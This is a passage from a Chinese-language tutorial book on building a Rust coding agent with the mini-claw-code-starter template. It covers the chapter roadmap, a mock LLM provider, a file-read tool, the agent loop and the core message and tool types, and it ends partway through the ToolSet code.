Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

概述

用 Rust 构建 Coding Agent — 动手实践教程,在 mini-claw-code-starter 模板里从零搭建自己的 AI coding agent,架构参考 Claude Code

想找最初的 V1 教程?已归档至 archive/v1-book/en/(中文版见 archive/v1-book/zh/)。

你将构建什么

读完本书,你就有了一个完整的 coding agent,能做到:

  • 连接 LLM,通过兼容 OpenAI 的 HTTP provider
  • 调用工具:bash、文件读/写/编辑,统一用 Tool trait 封装
  • 自主循环SimpleAgent 驱动 provider-工具循环,直到任务完成
  • 流式推送事件,通过 channel 让 UI 实时展示进度
  • 确定性测试,用 MockProvider 返回预设响应,无需真实 API
  • 安全策略:权限引擎、安全检查、hook 三重保障
  • 加载项目说明,从 CLAUDE.md 和分层配置中读取

架构

starter 代码库采用扁平模块结构:

mini-claw-code-starter/src/
  types.rs          -- Messages, tools, ToolSet, Provider trait, TokenUsage
  agent.rs          -- SimpleAgent (the core agent loop) and AgentEvent
  mock.rs           -- MockProvider for deterministic testing
  streaming.rs      -- SSE parsing, StreamAccumulator
  instructions.rs   -- InstructionLoader (CLAUDE.md discovery)
  permissions.rs    -- PermissionEngine
  safety.rs         -- SafetyChecker, SafeToolWrapper
  hooks.rs          -- Hook trait, HookRegistry
  planning.rs       -- PlanAgent (two-phase plan/execute)
  config.rs         -- Config, ConfigLoader, CostTracker
  context.rs        -- SystemPromptBuilder
  providers/
    openrouter.rs   -- OpenRouterProvider (real HTTP backend)
  tools/            -- Tool implementations (bash, file read/write/edit)

怎么用这本书

先看第 1–3 章。 三章短小精悍,不到一小时就能从零跑起一个 agent:

  1. 第一次 LLM 调用 — 实现 MockProvidertest_mock_
  2. 第一次工具调用 — 实现 ReadTooltest_read_
  3. Agentic 循环 — 实现 single_turnSimpleAgenttest_single_turn_test_simple_agent_

之后继续第 4–18 章,深入完整架构:流式、权限、hook、计划模式、配置等。

mini-claw-code-starter crate 里的 stub 实现带有 unimplemented!() 占位和说明注释,告诉你该做什么。读完章节,填好 stub,跑测试验证。

跑测试检查进度:

# 跑某章的测试(用下表对应的测试名称)
cargo test -p mini-claw-code-starter test_mock_

# 跑所有测试
cargo test -p mini-claw-code-starter

前置条件

  • Rust(edition 2024,1.85+)
  • 了解 async Rust 基础(async/awaittokio
  • OpenRouter API key(实时 provider 章节需要)

章节路线图

入门

第 N 章主题需编辑的文件测试命令
1第一次 LLM 调用src/mock.rstest_mock_
2第一次工具调用src/tools/read.rstest_read_
3Agentic 循环src/agent.rstest_single_turn_test_simple_agent_

第一部分:核心 Agent

第 N 章主题需编辑的文件测试命令
4消息与类型src/types.rs(已预填)test_mock_
5aProvider 与流式基础src/mock.rssrc/streaming.rstest_mock_test_streaming_parse_test_streaming_accumulator_
5bOpenRouter 与 StreamingAgentsrc/providers/openrouter.rssrc/streaming.rstest_openrouter_test_streaming_stream_chat_test_streaming_streaming_agent_
6工具接口src/tools/read.rs(第 2 章已完成,重新阅读)test_read_
7Agentic 循环(深度解析)src/agent.rs(第 3 章已完成,重新阅读)test_single_turn_test_simple_agent_

第二部分:Prompt 与工具

第 N 章主题需编辑的文件测试命令
8系统 Promptsrc/instructions.rsinstructions
9文件工具src/tools/write.rssrc/tools/edit.rs(read.rs 第 2 章已完成)test_read_test_write_test_edit_
10Bash 工具src/tools/bash.rstest_bash_
11搜索工具(扩展章节,无 stub)(无测试)
12工具注册表src/types.rs(ToolSet,已预填,重新阅读)test_multi_tool_

第三部分:安全与控制

第 N 章主题需编辑的文件测试命令
13权限引擎src/permissions.rspermissions
14安全检查src/safety.rssafety
15Hooksrc/hooks.rshooks
16计划模式src/planning.rsplan

第四部分:配置

第 N 章主题需编辑的文件测试命令
17配置层级src/config.rssrc/usage.rsconfigcost_tracker
18项目说明src/instructions.rssrc/context.rsinstructionscontext_manager

附加内容(暂无章节,stub 与测试已就绪)

主题需编辑的文件测试命令
AskTool(用户输入)src/tools/ask.rsask(加 --ignored 运行)
SubagentTool(子 agent)src/subagent.rssubagent(加 --ignored 运行)
交互式 CLIexamples/chat.rscargo run --example chat(填好 stub 后运行)

开始构建。

第 1 章:第一次 LLM 调用

需编辑的文件: src/mock.rs 运行测试: cargo test -p mini-claw-code-starter test_mock_ 预计时间: 15 分钟

构建 agent 之前,得先学会和 LLM 对话。这一章来实现 MockProvider,一个返回预设响应的假 LLM。不用 API key,不用 HTTP,不用网络。只有协议本身。

名词解释

写代码之前,先用一句话介绍第 1–3 章会遇到的各个类型。它们都已经在 src/types.rs 里定义好了,这份列表只是让这些名字不再陌生。第 4 章会深入讲解;现在每个类型一句话够了:

类型含义
Message对话条目的枚举:SystemUserAssistantToolResultAttachmentProgress
AssistantTurnLLM 的返回值:可选的 text、一个 Vec<ToolCall>、一个 StopReason、可选的 TokenUsage
StopReasonStop(LLM 完成了)或 ToolUse(它想调用工具)。
ToolCallLLM 发起的工具调用请求:idname、JSON arguments
ToolDefinition工具的 JSON Schema 描述,发给 LLM 让它知道有哪些工具可用。
Tool带有 definition()call() 的 trait,实现它就能给 agent 加新能力。
ToolSetHashMap<String, Box<dyn Tool>>,按名称分发工具调用。
Provider带有 chat() 方法的 trait,对"能响应消息的 LLM"的抽象。

之后哪个概念模糊了,随时回来查。第 4 章会从头带注释地重建所有这些类型。

目标

实现 MockProvider,满足:

  1. VecDeque<AssistantTurn> 的预设响应列表创建它。
  2. 每次调用 chat() 返回队列里的下一个响应。
  3. 响应全部消费完后返回错误。

协议

每次 LLM 交互都遵循同一个模式:

sequenceDiagram
    participant C as Your Code
    participant L as LLM

    C->>L: messages + tool definitions
    L-->>C: text and/or tool calls + stop reason

发送消息和可用工具列表,LLM 返回文本、工具调用或两者兼有,再加上 StopReason 告诉你下一步怎么做。

用 Rust 表示,就是一个 trait 加一个方法:

#![allow(unused)]
fn main() {
pub trait Provider: Send + Sync {
    fn chat(
        &self,
        messages: &[Message],
        tools: &[&ToolDefinition],
    ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send;
}
}

核心类型

打开 mini-claw-code-starter/src/types.rs,这些类型已经写好了,读一遍理解协议:

classDiagram
    class Provider {
        <<trait>>
        +chat(messages, tools) AssistantTurn
    }

    class AssistantTurn {
        text: Option~String~
        tool_calls: Vec~ToolCall~
        stop_reason: StopReason
        usage: Option~TokenUsage~
    }

    class StopReason {
        <<enum>>
        Stop
        ToolUse
    }

    class Message {
        <<enum>>
        System(String)
        User(String)
        Assistant(AssistantTurn)
        ToolResult
    }

    Provider --> AssistantTurn : returns
    Provider --> Message : receives
    AssistantTurn --> StopReason
    AssistantTurn --> ToolCall : contains 0..*

LLM 返回 AssistantTurn

#![allow(unused)]
fn main() {
pub struct AssistantTurn {
    pub text: Option<String>,          // what the LLM said
    pub tool_calls: Vec<ToolCall>,     // tools it wants to call
    pub stop_reason: StopReason,       // Stop or ToolUse
    pub usage: Option<TokenUsage>,     // token counts (optional)
}
}

两种结果:

  • StopReason::Stop — LLM 完成了,从 text 读答案
  • StopReason::ToolUse — LLM 想调用工具,从 tool_calls

就这些。Claude Code、Cursor、Copilot,每个 coding agent 都跑在这同一个协议上。

关键 Rust 概念:用 Mutex 实现内部可变性

Provider trait 接受 &self 而不是 &mut self,因为 provider 在异步任务间共享。但 MockProvider 需要修改响应队列。解法是 Mutex<VecDeque<AssistantTurn>>,通过共享引用也能修改队列。

#![allow(unused)]
fn main() {
pub struct MockProvider {
    responses: Mutex<VecDeque<AssistantTurn>>,
}
}

&self 方法里用 Mutex 包裹共享状态,这个模式在 async Rust 里随处可见。

实现

打开 src/mock.rs,能看到 struct 定义和两个 stub。

第一步:new()

VecDeque 包进 Mutex

#![allow(unused)]
fn main() {
pub fn new(responses: VecDeque<AssistantTurn>) -> Self {
    Self {
        responses: Mutex::new(responses),
    }
}
}

第二步:chat()

锁 mutex,弹出队列头部的响应,把 None 转成错误:

#![allow(unused)]
fn main() {
async fn chat(
    &self,
    _messages: &[Message],
    _tools: &[&ToolDefinition],
) -> anyhow::Result<AssistantTurn> {
    self.responses
        .lock()
        .unwrap()
        .pop_front()
        .ok_or_else(|| anyhow::anyhow!("MockProvider: no more responses"))
}
}

三行逻辑。mock 完全忽略 messagestools,只返回下一个预设响应。

运行测试

cargo test -p mini-claw-code-starter test_mock_

14 个测试验证你的 mock:

  • test_mock_returns_text — 基本文本响应
  • test_mock_returns_tool_calls — 包含工具调用的响应
  • test_mock_steps_through_sequence — 多次调用保持 FIFO 顺序
  • test_mock_empty_responses_exhausted — 队列为空时返回错误
  • test_mock_ignores_messages_and_tools — mock 不看输入
  • test_mock_long_sequence — 按顺序消费 10 个响应

刚才发生了什么

你实现了 Provider trait,每个 LLM 后端都得满足这个接口。MockProvider 是整本书的测试主力,所有测试都用它,不调真实 API。

之后(第 5b 章)会看到 OpenRouterProvider,发真实 HTTP 请求。但 trait 一样。换掉 provider,其余代码无需改动。

核心要点

LLM 就是个函数:消息进去,(文本、工具调用、停止原因)出来。其他都是管道。

自我检测


← 目录 · 第 2 章:第一次工具调用 →

第 2 章:第一次工具调用

需编辑的文件: src/tools/read.rs 运行测试: cargo test -p mini-claw-code-starter test_read_ 预计时间: 15 分钟

LLM 不能读文件、跑命令、也不能上网。它只能生成文本。但它可以请求你的代码去做这些事。这就是工具。

目标

实现 ReadTool,满足:

  1. 声明自己的名称、描述和参数 schema。
  2. {"path": "some/file.txt"} 调用时,读取文件并返回内容。
  3. 参数缺失或文件不存在时报错。

工具调用的工作原理

LLM 不直接碰文件系统。它描述想要什么,你的代码去做:

sequenceDiagram
    participant A as Agent
    participant L as LLM
    participant T as ReadTool

    A->>L: "What's in doc.txt?" + tool schemas
    L-->>A: tool_call: read(path="doc.txt")
    A->>T: call({"path": "doc.txt"})
    T-->>A: "file contents here..."
    A->>L: tool result: "file contents here..."
    L-->>A: "The file contains..."

LLM 看到描述每个工具的 JSON schema。决定用某个工具时,会输出包含工具名和参数的结构化请求。你的代码解析请求,运行真正的函数,把结果发回去。

Tool trait

打开 mini-claw-code-starter/src/types.rs,找到 Tool trait:

#![allow(unused)]
fn main() {
#[async_trait::async_trait]
pub trait Tool: Send + Sync {
    fn definition(&self) -> &ToolDefinition;
    async fn call(&self, args: Value) -> anyhow::Result<String>;
}
}

两个方法:

  • definition() 返回 JSON schema,告诉 LLM 这个工具的作用和参数
  • call() 执行工具,返回字符串结果

为什么 Tool#[async_trait],而 Provider 不用?

这个分歧贯穿全书,值得现在就搞清楚:

  • Tool#[async_trait],因为工具要异构存储在 Box<dyn Tool> 里(ReadToolBashTool 共存于同一个 HashMap)。Box<dyn …> 要求对象安全,而 trait 里的普通 async fn 不满足这一点——它返回的匿名 future 类型编译器无法擦除。#[async_trait] 宏把 async fn call(&self, …) 改写成 fn call(&self, …) -> Pin<Box<dyn Future + Send + '_>>,就满足了。每次调用多一次堆分配,相比工具要做的 I/O,这点开销微不足道。
  • Provider 用 RPITIT(return-position impl Trait in traits,Rust 1.75 稳定),因为我们只把它当泛型参数用——SimpleAgent<P: Provider>,从不用 dyn Provider。不需要对象安全,就能用零成本版本:不装箱、不分配,编译器为每个实现单态化出独立的 future 类型。

两句助记规则:

stored as Box<dyn T>           → #[async_trait]  (boxed future, object-safe)
used as a generic P: Trait     → RPITIT          (zero-cost, not object-safe)

这就是全部权衡。第 6 章 会在你见过两个 trait 之后,并排展示完整的 Provider 签名再回顾一次。

实现

打开 src/tools/read.rs,能看到 struct 和两个 stub。

第一步:定义

用 JSON Schema 向 LLM 描述工具:

#![allow(unused)]
fn main() {
pub fn new() -> Self {
    Self {
        definition: ToolDefinition::new("read", "Read the contents of a file.")
            .param("path", "string", "Absolute path to the file", true),
    }
}
}

.param() 构建器添加参数,包括类型、描述和是否必填。LLM 看到这个 schema,就知道可以调用名为 "read" 的工具,传一个必填的字符串参数 "path"

第二步:调用

从 JSON 参数里取出路径,读文件,返回内容:

#![allow(unused)]
fn main() {
async fn call(&self, args: Value) -> anyhow::Result<String> {
    let path = args["path"]
        .as_str()
        .context("missing 'path' argument")?;

    tokio::fs::read_to_string(path)
        .await
        .with_context(|| format!("failed to read '{path}'"))
}
}

三行逻辑。argsserde_json::Value,LLM 传来的已解析 JSON 参数。context()with_context()(来自 anyhow)补充可读的错误信息。

数据流:

flowchart LR
    A["args: path = foo.txt"] --> B["as_str()"]
    B --> C["tokio::fs::read_to_string"]
    C --> D["Ok: file contents"]
    C --> E["Err: failed to read"]

运行测试

cargo test -p mini-claw-code-starter test_read_

15 个测试验证你的工具:

  • test_read_read_definition — schema 有正确的名称和必填参数
  • test_read_read_file — 从临时目录读真实文件
  • test_read_read_missing_file — 文件不存在时返回错误
  • test_read_read_missing_argpath 缺失时返回错误
  • test_read_read_utf8_content — 多行内容处理正确
  • test_read_read_empty_file — 读空文件不报错

套路

项目里每个工具都是同一个三步套路:

  1. 定义ToolDefinition::new("name", "description").param(...)
  2. 提取 — 从 JSON Value 里取参数
  3. 执行 — 做实际工作,返回 String

后面章节写 WriteToolEditToolBashTool 都是这套。写过一个,其他的就会了。

核心要点

工具是"LLM 想读文件"和"文件真的被读了"之间的桥梁。LLM 把意图表达成结构化 JSON,你的代码负责执行。

自我检测


← 第 1 章:第一次 LLM 调用 · 目录 · 第 3 章:Agentic 循环 →

第 3 章:Agent 循环

需编辑的文件: src/agent.rs 运行测试: cargo test -p mini-claw-code-starter test_single_turn_(single_turn),cargo test -p mini-claw-code-starter test_simple_agent_(SimpleAgent) 预计时间: 20 分钟

provider(和 LLM 通信)有了,工具(读文件)有了,现在把它们连起来。agent 就在这里活过来。

目标

实现两件事:

  1. single_turn() — 处理一次 prompt,最多一轮工具调用
  2. SimpleAgent — 把 single_turn 包进循环,持续跑直到 LLM 完成

第 3 章的范围(以及不在范围内的)

打开 src/agent.rs,能看到五个 unimplemented!() stub。只有四个是第 3 章的任务:

Stub章节说明
single_turn第 3 章一次 prompt,最多一轮工具调用
SimpleAgent::execute_tools第 3 章查找每个工具,收集 (id, content)
SimpleAgent::push_results第 3 章推入 Assistant 轮,再逐个推入 ToolResult
SimpleAgent::chat第 3 章agent 主循环
SimpleAgent::run_with_history第 7 章基于事件的循环,现在保持 stub 状态

run_with_history / run_with_events 是第 7 章(AgentEvent 驱动执行)的内容。test_simple_agent_ 不会调用它们,那里的 unimplemented!() 不会触发 panic。第 7 章引入事件模型之前,忽略它们即可。

核心思想

Claude Code、Cursor、Aider,每个编程 agent 都是这个循环:

loop {
    response = provider.chat(messages, tools)
    if response.stop_reason == Stop:
        return response.text
    for call in response.tool_calls:
        result = tools.execute(call)
        messages.append(result)
}

LLM 决定何时停止,你的代码照指令执行。

flowchart TD
    A["User prompt"] --> B["provider.chat()"]
    B --> C{"stop_reason?"}
    C -- "Stop" --> D["Return text"]
    C -- "ToolUse" --> E["Execute tool calls"]
    E --> F["Append results to messages"]
    F --> B

第一部分:single_turn()

从简单的开始。single_turn() 处理一次 prompt,最多一轮工具调用,暂时没有循环。

Rust 关键概念:ToolSet

函数接受 &ToolSet,一个以名称为键的 HashMap<String, Box<dyn Tool>>,O(1) 查找:

#![allow(unused)]
fn main() {
pub async fn single_turn<P: Provider>(
    provider: &P,
    tools: &ToolSet,
    prompt: &str,
) -> anyhow::Result<String>
}

执行流程

flowchart TD
    A["prompt"] --> B["provider.chat()"]
    B --> C{"stop_reason?"}
    C -- "Stop" --> D["Return text"]
    C -- "ToolUse" --> E["Execute each tool call"]
    E --> F{"Tool found?"}
    F -- "Yes" --> G["tool.call() → result"]
    F -- "No" --> H["error: unknown tool"]
    G --> I["Push Assistant + ToolResult messages"]
    H --> I
    I --> J["provider.chat() again"]
    J --> K["Return final text"]

实现

#![allow(unused)]
fn main() {
pub async fn single_turn<P: Provider>(
    provider: &P,
    tools: &ToolSet,
    prompt: &str,
) -> anyhow::Result<String> {
    let defs = tools.definitions();
    let mut messages = vec![Message::User(prompt.to_string())];

    let turn = provider.chat(&messages, &defs).await?;

    match turn.stop_reason {
        StopReason::Stop => Ok(turn.text.unwrap_or_default()),
        StopReason::ToolUse => {
            // Execute each tool call, collect results
            let mut results = Vec::new();
            for call in &turn.tool_calls {
                let content = match tools.get(&call.name) {
                    Some(t) => t.call(call.arguments.clone())
                        .await
                        .unwrap_or_else(|e| format!("error: {e}")),
                    None => format!("error: unknown tool `{}`", call.name),
                };
                results.push((call.id.clone(), content));
            }

            // Feed results back to the LLM
            messages.push(Message::Assistant(turn));
            for (id, content) in results {
                messages.push(Message::ToolResult { id, content });
            }

            let final_turn = provider.chat(&messages, &defs).await?;
            Ok(final_turn.text.unwrap_or_default())
        }
    }
}
}

三个关键细节:

  1. 先收集结果,再推入 Message::Assistant(turn) — push 会移走 turn,之后就没法借用 turn.tool_calls
  2. 工具失败不崩溃 — 用 unwrap_or_else 捕获错误,以字符串返回。LLM 读到错误会自行调整
  3. 未知工具返回错误字符串,不 panic — LLM 可能幻觉出一个工具名,agent 要能优雅处理

测试

cargo test -p mini-claw-code-starter test_single_turn_

共 14 个测试,包括:

  • test_single_turn_direct_response — LLM 直接响应,不调工具
  • test_single_turn_one_tool_call — LLM 读文件,再回答
  • test_single_turn_unknown_tool — LLM 调了个不存在的工具,收到错误,自行恢复
  • test_single_turn_provider_error — provider 返回错误,正确传播

第二部分:SimpleAgent

single_turn 处理一轮。真正的 agent 要循环跑,直到 LLM 完成。这就是 SimpleAgent

结构体

#![allow(unused)]
fn main() {
pub struct SimpleAgent<P: Provider> {
    provider: P,
    tools: ToolSet,
}
}

构造函数与构建器

#![allow(unused)]
fn main() {
pub fn new(provider: P) -> Self {
    Self { provider, tools: ToolSet::new() }
}

pub fn tool(mut self, t: impl Tool + 'static) -> Self {
    self.tools.push(t);
    self
}
}

构建器模式支持链式注册工具:

#![allow(unused)]
fn main() {
let agent = SimpleAgent::new(provider)
    .tool(ReadTool::new())
    .tool(WriteTool::new())
    .tool(BashTool::new());
}

旁注:谁来决定 Stop 还是 ToolUse

是模型决定的。StopReason 不是我们从响应里算出来的,而是 LLM API 返回的字段,描述模型做了什么。模型输出纯文本并停止时,API 报告 stop(或 end_turn);模型输出了一个或多个工具调用块、等待调用方执行时,API 报告 tool_use(OpenAI 叫 tool_calls)。StopReason enum 只是把这个 API 字段翻译成 Rust 类型,决策本身已经烘焙进模型的生成过程。

实际上,模型在一次前向传播中就做出决定:一旦开始写工具调用块,大多数 provider 就会强制响应在该块处终止并返回 tool_use。不会先产生文本,再单独决定要不要调工具。所以下面的循环看起来才这么简洁——不用猜停止原因,直接按它分发。


循环:chat()

这是把 single_turn 泛化成循环的版本。不再调两次 provider 后返回,而是持续跑到 StopReason::Stop

#![allow(unused)]
fn main() {
pub async fn chat(&self, messages: &mut Vec<Message>) -> anyhow::Result<String> {
    let defs = self.tools.definitions();

    loop {
        let turn = self.provider.chat(messages, &defs).await?;

        match turn.stop_reason {
            StopReason::Stop => {
                let text = turn.text.clone().unwrap_or_default();
                messages.push(Message::Assistant(turn));
                return Ok(text);
            }
            StopReason::ToolUse => {
                let results = self.execute_tools(&turn.tool_calls).await;
                Self::push_results(messages, turn, results);
            }
        }
    }
}
}

注意:推入 Message::Assistant(turn) 之前先 clone turn.text,push 会移走 turn

run() 是便捷包装器:

#![allow(unused)]
fn main() {
pub async fn run(&self, prompt: &str) -> anyhow::Result<String> {
    let mut messages = vec![Message::User(prompt.to_string())];
    self.chat(&mut messages).await
}
}

辅助方法 execute_tools()push_results() 把工具执行和消息构建分离出来,agent.rs 的 stub 里有它们的签名。

测试

cargo test -p mini-claw-code-starter test_simple_agent_

共 16 个测试,包括:

  • test_simple_agent_simple_text — 单轮文本响应
  • test_simple_agent_multi_step — LLM 读文件,再写出响应
  • test_simple_agent_three_turn_loop — 读取 → 编辑 → 验证,三轮循环
  • test_simple_agent_error_recovery — 工具失败,LLM 读到错误自行恢复

你做了什么

你搭出了一个编程 agent。

#![allow(unused)]
fn main() {
let agent = SimpleAgent::new(provider)
    .tool(ReadTool::new())
    .tool(WriteTool::new())
    .tool(BashTool::new());

let answer = agent.run("What files are in this directory?").await?;
}

agent 把 prompt 发给 LLM,LLM 调 bash("ls"),agent 执行,把输出反馈回去,LLM 汇总结果。这个循环能处理任意数量的工具调用、任意多轮。

这就是架构。其他一切——流式、权限、计划模式、子 agent——都建在这个循环之上。

自我检测


← 第 2 章:第一次工具调用 · 目录 · 第 4 章:消息与类型 →

第 4 章:消息与类型

需要编辑的文件: 无。starter 中的 src/types.rs 已预填完整。 本章是纯阅读,对已在使用的类型系统做一次深入梳理。 运行测试: cargo test -p mini-claw-code-starter test_mock_ 在本章前后均可通过,因为实际实现在 src/mock.rs 中——那是你在第 1 章填写的内容。这些测试验证的是 types.rs 中定义的类型结构,这就是我们在此将它们关联起来的原因。 预计时间: 20 分钟(仅阅读)

目标

  • 理解 Message enum 的四个变体(SystemUserAssistantToolResult),每个对话参与者都有对应的类型表示。
  • 理解 ToolDefinition 的构建器模式:为什么工具在构造时描述自己的 JSON Schema 参数,而不是手写 JSON。
  • 理解 ToolSet 作为运行时注册表,让 agent 按名称分发工具调用。
  • 理解 Provider trait 的 RPITIT 签名:为什么它能让任意 LLM 后端自由替换,而无需改动 agent 代码。

每个编程 agent 的核心都是一个对话循环。用户发言,模型回复,工具产生结果,结果再反馈给模型。构建这个循环之前,需要一套类型系统来表示对话中的每个参与者和每种载荷。

这一章梳理整个代码库所依赖的基础类型。src/types.rs 在 starter 中已经完整,不需要动手写代码。读通为止;动手编码从第 5a 章重新开始。

类型之间的关系

flowchart TD
    U[Message::User] --> P[Provider::chat]
    S[Message::System] --> P
    P --> AT[AssistantTurn]
    AT --> SR{StopReason}
    SR -->|Stop| Text[Final text response]
    SR -->|ToolUse| TC[ToolCall]
    TC --> TS[ToolSet::get]
    TS --> T[Tool::call]
    T --> TR[Message::ToolResult]
    TR --> P

为什么需要丰富的消息类型?

看过原始的 LLM API(OpenAI、Anthropic),消息是带有 role 字段的 JSON 块:"system""user""assistant"。单轮聊天机器人够用,但编程 agent 还需要:

  • 工具结果:携带对应工具调用的 ID,让模型在单轮多工具时能对上请求和响应。
  • 系统指令:配置模型的行为。

Claude Code 把这些统一建模为单个 Message enum 的变体。我们的 starter 用了简化版,包含四个变体。

文件布局

所有类型都在一个文件:src/types.rs。包括 Message enum、AssistantTurnToolDefinitionToolCallTool trait、ToolSetProvider trait、TokenUsageStopReason


1.1 Message enum

包含四个变体的完整 enum:

#![allow(unused)]
fn main() {
pub enum Message {
    System(String),
    User(String),
    Assistant(AssistantTurn),
    ToolResult { id: String, content: String },
}
}

starter 用的是简单枚举变体,没有包装结构体,没有消息 ID,没有 serde 标签,没有构造函数——直接构造变体就好:

#![allow(unused)]
fn main() {
let msg = Message::User("Hello".to_string());
let sys = Message::System("You are a helpful assistant".to_string());
let result = Message::ToolResult {
    id: call_id.clone(),
    content: "file contents here".to_string(),
};
}

逐一看每个变体。

System

#![allow(unused)]
fn main() {
Message::System(String)
}

System 消息携带由 agent 注入的指令,不是用户输入的内容。用来配置模型行为(比如"你是一个编程助手")。

User

#![allow(unused)]
fn main() {
Message::User(String)
}

直接明了——用户的输入,每轮一条。

Assistant

#![allow(unused)]
fn main() {
Message::Assistant(AssistantTurn)
}

最丰富的变体。模型的响应包裹在 AssistantTurn 结构体中(下面会介绍)。模型可以返回文本、工具调用,或两者兼有。

ToolResult

#![allow(unused)]
fn main() {
Message::ToolResult { id: String, content: String }
}

agent 执行工具后,将输出打包为 ToolResult 变体追加到对话中。id 字段将结果链回对应的 ToolCall——没有它,单轮多工具时模型就无法分辨哪个结果属于哪个调用。

注意 starter 中工具结果是纯字符串,没有 is_truncated 标志或独立结构体。


1.2 AssistantTurn

assistant 的响应捕获在 AssistantTurn 结构体中:

#![allow(unused)]
fn main() {
pub struct AssistantTurn {
    pub text: Option<String>,
    pub tool_calls: Vec<ToolCall>,
    pub stop_reason: StopReason,
    pub usage: Option<TokenUsage>,
}
}

模型可以返回文本、工具调用,或两者兼有。textOption<String>,因为模型决定使用工具时,可能根本不产生人类可读的文本——只发出一个或多个 ToolCallstop_reason 告诉 agent 循环是继续执行工具,还是把响应呈现给用户后停止。

usageOption<TokenUsage>,在解析时从 API 响应中附加 token 计数。测试用的 mock provider 会把它设为 None


1.3 StopReason

#![allow(unused)]
fn main() {
pub enum StopReason {
    /// The model finished — check `text` for the response.
    Stop,
    /// The model wants to use tools — check `tool_calls`.
    ToolUse,
}
}

这个小 enum 驱动整个 agent 循环。provider 解析 LLM 响应后:

  • Stop:模型完成了,text 字段是给用户的最终答案。
  • ToolUse:模型要调用工具——agent 查看 tool_calls,执行,追加结果,再次调用 provider。

agent 循环对 stop_reasonmatch,决定是中断还是继续。


1.4 ToolCall

#![allow(unused)]
fn main() {
pub struct ToolCall {
    pub id: String,
    pub name: String,
    pub arguments: Value,
}
}

LLM 以 StopReason::ToolUse 响应时,会包含一个或多个 ToolCall。每个条目包括:

  • id:API 分配的唯一标识符(如 "call_abc123"),即 ToolResultMessage::tool_use_id 引用的值。
  • name:调用哪个工具(如 "bash""read""edit")。
  • arguments:JSON 对象,形状与工具参数 schema 匹配。

agent 循环用 nameToolSet 中查找工具,把 arguments 传给 tool.call(),然后将输出包装在 id 匹配的 Message::ToolResult 中。


1.5 ToolDefinition 与构建器模式

Rust 概念:构建器模式

ToolDefinition 用的是构建器模式——Rust 常见惯用法,方法按值接收 self 并返回 Self,支持 .param(...).param(...) 这样的链式调用。每次调用消耗结构体并返回修改后的版本。Rust 的移动语义保证没有额外开销——无需克隆,无需引用计数,编译器把调用链优化成一系列原地修改。整个代码库里这个模式随处可见:ToolSet::new().with(tool1).with(tool2)SimpleAgent::new(provider).tool(bash)

每个工具都要用 JSON Schema 向 LLM 描述自身,让模型知道有哪些参数。ToolDefinition 持有这个 schema,提供构建器 API,不用手写 JSON:

#![allow(unused)]
fn main() {
pub struct ToolDefinition {
    pub name: &'static str,
    pub description: &'static str,
    pub parameters: Value,
}
}

构造函数初始化一个空对象 schema:

#![allow(unused)]
fn main() {
impl ToolDefinition {
    pub fn new(name: &'static str, description: &'static str) -> Self {
        Self {
            name,
            description,
            parameters: serde_json::json!({
                "type": "object",
                "properties": {},
                "required": []
            }),
        }
    }
}
}

.param() — 添加简单参数

#![allow(unused)]
fn main() {
pub fn param(
    mut self,
    name: &str,
    type_: &str,
    description: &str,
    required: bool,
) -> Self {
    self.parameters["properties"][name] = serde_json::json!({
        "type": type_,
        "description": description
    });
    if required {
        self.parameters["required"]
            .as_array_mut()
            .unwrap()
            .push(Value::String(name.to_string()));
    }
    self
}
}

最常用的方法。大多数工具参数是简单类型——文件路径用 "string",行偏移量用 "number"。按值接收 self 并返回,支持链式调用:

#![allow(unused)]
fn main() {
ToolDefinition::new("read", "Read a file from disk")
    .param("path", "string", "Absolute path to the file", true)
    .param("offset", "number", "Line number to start reading from", false)
    .param("limit", "number", "Maximum number of lines to read", false)
}

.param_raw() — 添加复杂参数

#![allow(unused)]
fn main() {
pub fn param_raw(
    mut self,
    name: &str,
    schema: Value,
    required: bool,
) -> Self {
    self.parameters["properties"][name] = schema;
    if required {
        self.parameters["required"]
            .as_array_mut()
            .unwrap()
            .push(Value::String(name.to_string()));
    }
    self
}
}

有些参数需要更丰富的 schema——enum、数组、嵌套对象。param_raw 允许传入任意 serde_json::Value 作为 schema。比如一个编辑工具可能这样定义:

#![allow(unused)]
fn main() {
.param_raw("changes", serde_json::json!({
    "type": "array",
    "items": {
        "type": "object",
        "properties": {
            "old_string": { "type": "string" },
            "new_string": { "type": "string" }
        }
    }
}), true)
}

src/types.rs 中实现 ToolDefinition starter 中没有专门针对构建器本身的单元测试——正确性由每个工具的 _definition 测试间接验证(如 tests/read.rs 中的 test_read_read_definition)。cargo build -p mini-claw-code-starter 能通过就是实际的检验。


1.6 Tool trait

核心抽象。每个工具——Bash、Read、Write、Edit——都实现这个 trait:

#![allow(unused)]
fn main() {
#[async_trait::async_trait]
pub trait Tool: Send + Sync {
    fn definition(&self) -> &ToolDefinition;
    async fn call(&self, args: Value) -> anyhow::Result<String>;
}
}

只有两个必需方法,刻意保持最简:

definition() 返回工具的 schema。注册工具时调用一次,每次 agent 向 LLM 发送工具定义时也会调用。返回引用(&ToolDefinition),因为定义在工具生命周期内是静态的。

call() 是执行入口。接收 LLM 提供的 JSON 参数,返回 String 结果(或错误)。标记为 async,因为大多数工具需要做 I/O——读文件、运行子进程、发 HTTP 请求。

注意 call() 返回 anyhow::Result<String>,不是 ToolResult 结构体。starter 将工具输出简化为纯字符串。工具失败时,可以返回 Ok(format!("error: {e}")) 让模型看到错误并恢复,或返回 Err(e) 处理无法恢复的情况。

该 trait 使用 #[async_trait] 并标记 Send + Sync,这样工具就能以 Box<dyn Tool> 存储在 ToolSet 中,并从异步上下文调用。为什么 Tool#[async_trait]Provider 用 RPITIT,参见为什么有两种异步 trait 风格?


1.7 ToolSet

LLM 请求工具调用时,agent 需要按名称查找工具。ToolSet 是基于 HashMap 的注册表:

#![allow(unused)]
fn main() {
pub struct ToolSet {
    tools: HashMap<String, Box<dyn Tool>>,
}
}

关键方法:

#![allow(unused)]
fn main() {
impl ToolSet {
    pub fn new() -> Self {
        Self { tools: HashMap::new() }
    }

    /// Builder-style: add a tool and return self.
    pub fn with(mut self, tool: impl Tool + 'static) -> Self {
        self.push(tool);
        self
    }

    /// Add a tool, keyed by its definition name.
    pub fn push(&mut self, tool: impl Tool + 'static) {
        let name = tool.definition().name.to_string();
        self.tools.insert(name, Box::new(tool));
    }

    /// Look up a tool by name.
    pub fn get(&self, name: &str) -> Option<&dyn Tool> {
        self.tools.get(name).map(|t| t.as_ref())
    }

    /// Collect all tool schemas for the provider.
